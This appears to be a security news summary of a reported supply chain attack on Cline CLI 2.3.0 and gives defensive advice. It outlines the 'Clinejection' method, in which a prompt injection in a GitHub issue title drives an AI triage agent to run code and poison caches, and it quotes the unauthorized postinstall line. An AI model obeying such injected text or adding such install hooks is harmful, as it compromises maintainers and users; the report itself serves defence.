Cline CLI 2.3.0 Supply Chain Attack: OpenClaw Installed via Compromised NPM Token

Leveraging Clinejection to Leak Publication Secrets

The AI-powered coding assistant Cline CLI was compromised on February 17, 2026, through a stolen npm publish token. This breach resulted in version 2.3.0 being downloaded 4,000 times with an unauthorized script that installed the OpenClaw AI agent.

Why This Matters

The transition from theoretical AI supply chain threats to operational reality is exemplified by the ‘Clinejection’ exploit, which leverages prompt injection in automated triage workflows. By allowing AI agents like Claude to interact with repository tools under excessive permissions, maintainers inadvertently created a pathway for attackers to poison GitHub Actions caches and exfiltrate production secrets. This event proves that AI agents must be treated as privileged actors requiring strict governance, as a single malicious issue title can now compromise the integrity of global software distributions.

Key Insights

• Compromised npm publish token used to inject code into [email protected] on February 17, 2026 (The Hacker News).
• Clinejection concept uses prompt injection in GitHub issue titles to achieve arbitrary code execution (Adnan Khan, 2026).
• Cache poisoning via 10GB junk data used to pivot from triage to release workflows (StepSecurity, 2026).
• Cline maintainers migrated to OpenID Connect (OIDC) to secure the npm publishing mechanism in 2026.
• OpenClaw agent installation observed by Microsoft Threat Intelligence following the supply chain compromise.

Working Examples

Unauthorized postinstall script added to package.json in version 2.3.0.

"postinstall": "npm install -g openclaw@latest"

Practical Applications

• GitHub Actions OIDC: Use short-lived tokens for npm publishing. Pitfall: Using static NPM_TOKEN secrets leads to permanent credential compromise if leaked.
• Workflow Isolation: Separate AI triage environments from production release pipelines. Pitfall: Shared cache keys allow attackers to pivot from low-privileged tasks to high-privileged releases.
• Permission Hardening: Restrict AI tools to read-only access for issue analysis. Pitfall: Granting write/execute permissions to LLMs allows prompt injection to trigger malicious code execution.

References:

• http://thehackernews.com/2026/02/cline-cli-230-supply-chain-attack.html